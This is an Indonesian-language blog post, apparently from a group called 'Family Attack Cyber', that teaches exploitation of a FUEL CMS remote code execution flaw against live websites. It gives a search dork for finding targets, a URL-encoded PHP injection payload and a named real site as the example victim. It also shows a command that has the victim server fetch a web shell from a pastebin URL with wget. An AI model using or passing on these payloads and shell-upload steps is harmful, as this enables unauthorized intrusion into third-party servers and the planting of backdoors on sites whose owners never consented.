FUEL CMS Remote Code Execution

FUEL CMS Remote Code Execution

Apa itu FUEL CMS ?

FUEL CMS dikembangkan oleh David McReynolds yang dibangun untuk pengembang yang suka bekerja dalam kerangka CodeIgniter dan membutuhkan CMS yang ringan dan sangat dapat disesuaikan untuk klien mereka yang bermain baik dengan kode asli. Jika Anda mencari CMS terlebih dahulu, dan Anda tidak terbiasa dengan CodeIgniter atau kode penulisan yang nyaman, maka BBM mungkin tidak cocok. Jika itu Anda, berikut adalah beberapa alternatif hebat lainnya.


Masih ada bug pada versi cms ini yang akan admin buat tutorial exploitasinya, langsung saja ke tutorialnya :

1. Dork yang saya gunakan : inurl:/fuel/login/pwd_reset intext:"FUEL CMS" untuk mendapatkan live target. Gunakan dork diatas pada search engine, lalu pilih salah satu website.

2. Jika sudah mendapatkan target lalu masukkan payload nya /fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27command%27%29%2b%27

contoh live target : https://www.inlineskatenmiddennederland.nl/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27ls -la%27%29%2b%27

Jika Vuln maka hasilnya akan seperti gambar dibawah ini

3. Jika website vuln maka kita langsung saja masukkan command buat upload shellnya

ex : https://www.inlineskatenmiddennederland.nl/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27wget https://pastebin.com/raw/sUbRsXfQ -O fac.php%27%29%2b%27

4. Untuk mengakses shellnya, tinggal buka website.domain/namafile.php

Mudah bukan? hehe
Harap jangan merusak live target agar yang lain dapat belajar juga.

Sekianlah Postingan Dari Family Attack Cyber tentang "FUEL CMS Remote Code Execution" 

Semoga Bisa Bermanfaat! Jika Ada Content Yang Rusak, Atau Kurang dapat dipahami silahkan komentar di bawah Postingan atau anda juga bisa menghubungi kami pada bagian Contact Us.